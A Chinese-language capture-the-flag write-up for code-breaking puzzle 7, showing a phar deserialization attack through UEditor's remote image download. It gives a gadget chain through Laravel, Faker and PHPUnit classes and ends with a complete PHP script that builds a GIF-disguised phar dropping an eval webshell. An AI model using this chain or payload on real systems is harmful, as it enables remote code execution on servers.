code-breaking
賽題地址:ofollow,noindex" target="_blank">https://code-breaking.com/puzzle/7/
這題極其頭疼的就是環境為 php 7.2.12、並且禁用了這些函式
system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,apache_setenv,mb_send_mail,dl,set_time_limit,ignore_user_abort,symlink,link,error_log
導致找利用的時候需要一個品相特別好的利用鏈,P師傅是尋找到了一個***(暫時保密)的點,我依據call_user_func_*
方面找了一些利用
這題用的是ueditor
,存在遠端下載的功能
$content = file_get_contents($url); $img = getimagesizefromstring($content); 這裡面其實按理`getimagesizefromstring`也是可以利用phar,不過file_get_contents中的url更好利用一點 POST /server/editor?action=Catchimage&source[]=phar:///var/www/html/xxx HTTP/1.1 Host: 51.158.73.123:8080
尋找gadget
phar反序列化第一步主要找兩個魔術方法入口:__destruct|__wakeup
1、Illuminate\Broadcasting::__destruct
namespace Illuminate\Broadcasting{ class PendingBroadcast{ public function __destruct(){ $this->events->dispatch($this->event); } } }
在這裡可以通過給$this->events
存放其他類從而呼叫其他類的__call
方法
2、Faker\ValidGenerator::__call
namespace Faker{ class ValidGenerator{ public function __call($name, $arguments){ $i = 0; do { $res = call_user_func_array(array($this->generator, $name), $arguments); $i++; if ($i > $this->maxRetries) { die('error'); } } while (!call_user_func($this->validator, $res)); return $res; } } }
這個是整個的利用核心,因為__call
魔術方法呼叫過來的引數只有$this->event
一個,所以這導致你只能給其他函式傳一個引數,沒有了命令函式、php7版本的問題(assert成為語言結構,很多函式不能動態呼叫)導致需要完全控制引數才行.
array( 0 => $argv )
在上面的程式碼中,先通過call_user_func_array
呼叫,然後其結果作為後面的call_user_func
的引數
3、Faker\Generator::getFormatter (解決call_user_func
的引數控制)
namespace Faker{ class Generator{ public function getFormatter($formatter){ if (isset($this->formatters[$formatter])) { return $this->formatters[$formatter]; } } } }
可以看到這裡面getFormatter
會返回$this->formatters[$formatter]
,也就是Faker\ValidGenerator::__call
中第二個call_user_func
的引數得到瞭解決,因為它可以完全被控制
$this->formatters = [ "exploit" => ["/var/www/html/1.php","aaaa"] ];
4、(進行最終的exploit攻擊)
namespace PHPUnit\Framework\MockObject\Stub{ class ReturnCallback implements Stub{ public function invoke(Invocation $invocation){ return \call_user_func_array($this->callback, $invocation->getParameters()); } } } 其中Invocation是一個介面,所以找到具體的類即可 namespace PHPUnit\Framework\MockObject\Invocation; class StaticInvocation implements Invocation, SelfDescribing public function getParameters(): array{ return $this->parameters; } } }
可以看到最後進入PHPUnit\Framework\MockObject\Stub\ReturnCallback::invoke
的$this->callback
,$invocation->getParameters()
都是可控的
exploit
<?php namespace Illuminate\Broadcasting{ class PendingBroadcast{ protected $events; protected $event; public function __construct($events, $event) { $this->event = $event; $this->events = $events; } } } namespace Faker{ class Generator{ protected $formatters; function __construct($forma){ $this->formatters = $forma; } } class ValidGenerator{ protected $generator; protected $validator; protected $maxRetries; public function __construct($generator, $validator, $maxRetries = 10000){ $this->generator = $generator; $this->validator = $validator; $this->maxRetries = $maxRetries; } } } namespace PHPUnit\Framework\MockObject\Invocation{ class StaticInvocation{ function __construct($parameters){ $this->parameters = $parameters; } } } namespace PHPUnit\Framework\MockObject\Stub{ class ReturnCallback{ public function __construct($callback){ $this->callback = $callback; } } } # exp func call namespace{ $exp_func = "file_put_contents"; $exp_args = ["C:\\phpstudy2018\\PHPTutorial\\WWW\\ctf\\pwnhub\\lumenserial\\bbbb.php", base64_decode("PD9waHAgZXZhbCgkX0dFVFsnMTEnXSk7Pz4=")]; $exp_args_obj = new PHPUnit\Framework\MockObject\Invocation\StaticInvocation($exp_args); $exp_call_obj = new PHPUnit\Framework\MockObject\Stub\ReturnCallback($exp_func); $tmp_arr = ["gogogo" => $exp_args_obj]; $s4_obj = new Faker\Generator($tmp_arr); $get_func_arr = array("dispatch"=> array($s4_obj, "getFormatter")); $s3_obj = new Faker\Generator($get_func_arr); $s2_obj = new Faker\ValidGenerator($s3_obj, array($exp_call_obj,"invoke"), 2); $s1_obj = new Illuminate\Broadcasting\PendingBroadcast($s2_obj, "gogogo"); echo urlencode(serialize($s1_obj))."\n\r\n\r"; $p = new Phar('./exploit.phar', 0); $p->startBuffering(); $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>'); $p->setMetadata($s1_obj); $p->addFromString('1.txt','text'); $p->stopBuffering(); }